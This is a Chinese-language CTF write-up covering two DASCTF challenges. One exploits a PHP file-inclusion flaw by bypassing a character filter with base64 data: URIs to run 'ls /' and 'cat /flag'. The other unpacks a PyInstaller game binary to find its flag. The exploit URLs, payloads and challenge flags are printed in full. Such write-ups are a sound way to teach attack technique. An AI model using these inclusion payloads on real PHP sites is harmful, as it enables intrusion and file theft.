1、WEB-童年动漫图片鉴赏
题目打开之后可以通过点击选择所需的显示的图片,通过源码发现选择1就是通过img加载1.png图片,然后还发现一个链接,这个就是点击详细信息可以看到的网页的链接。
得到访问链接如下:
http://80.endpoint-af341859a9034ef3ac0f4c3aa0ff306f.m.ins.cloud.dasctf.com:81/index.php?number=1.&see=1
然后尝试包含刚才的1.png图片发现报错
发现代码通过include进行文件包含,那么接着如何想通过iconv或者伪造协议进行文件读取啥的,然后就发现过滤了一些字符
php input zip phar log . < /
通过测试发现如下过滤,其中将/过滤之后基本上伪造协议就不能用了,不过这个地方没有过滤data,那么data就是突破口
1、data://text/plain,
2、data://text/plain;base64,
见过的简写如下,不过还是有/不能使用:
1、data:text/plain,
2、data:text/plain;base64,
答案知道还可以省略text/plain,这样就可以使用了:
1、data:,
2、data:;base64,
但是过滤了<导致明文是不行了,需要使用base64进行绕过
payload基本结构如下:
data:;base64,PD9waHAgcGhwaW5mbygpOyA%2FPg%3D%3D
代码如下:<?php phpinfo(); ?>
发现base64解码不对
data:;base64,PD9waHAgcGhwaW5mbygpOz8%2B
<?php phpinfo();?>
base64解码正确
发现最后是%2b(+)可以执行,如果是其他的字符都不行,即使使用%00截断字符串也不行
但是如果通过补充空格让字符成为%2b结尾,那么就可以正确执行
payload1:
http://80.endpoint-af341859a9034ef3ac0f4c3aa0ff306f.m.ins.cloud.dasctf.com:81/index.php?number=data:;base64,PD9waHAgc3lzdGVtKCJscyAvICIpOz8%2B&see=1
<?php system("ls / ");?>
PD9waHAgc3lzdGVtKCJscyAvICIpOz8%2B
payload2如下:
http://80.endpoint-af341859a9034ef3ac0f4c3aa0ff306f.m.ins.cloud.dasctf.com:81/index.php?number=data:;base64,PD9waHAgc3lzdGVtKCJjYXQgL2ZsYWcgICIpOz8%2B&see=1
<?php system("cat /flag ");?>
PD9waHAgc3lzdGVtKCJjYXQgL2ZsYWcgICIpOz8%2B
得到flag如下:
flag{79536595849293618946653799177804}
2、RE-Plane Fight
通过IDA Pro64发现PyInstaller,那估计就是python程序打包的elf,那么使用pyinstxtractor.py进行解包
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Fm1hluqH-1687762103998)(一周一练wp/image-20230522144351335.png)]
然后得到python字节码,然后发现是python3.9,然后安装python3.9和python3.9下面的uncompyle6工具[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8l0wu4VW-1687762103998)(一周一练wp/image-20230522145151580.png)]
然后发现uncompyle6不支持python3.9
那么只能通过pyc转字节码然后读取字节码发编译了,得到字节码如下:
python3 pyc_to_字节码.py
3 0 LOAD_CONST 0 (0)
2 LOAD_CONST 1 (None)
4 IMPORT_NAME 0 (pygame)
6 STORE_NAME 0 (pygame)
.......
145 1156 LOAD_CONST 55 ('DASCTF{da439bbdf54b6da297a734ca11164068}')
1158 STORE_NAME 47 (score)
直接发现明文的flag
DASCTF{da439bbdf54b6da297a734ca11164068}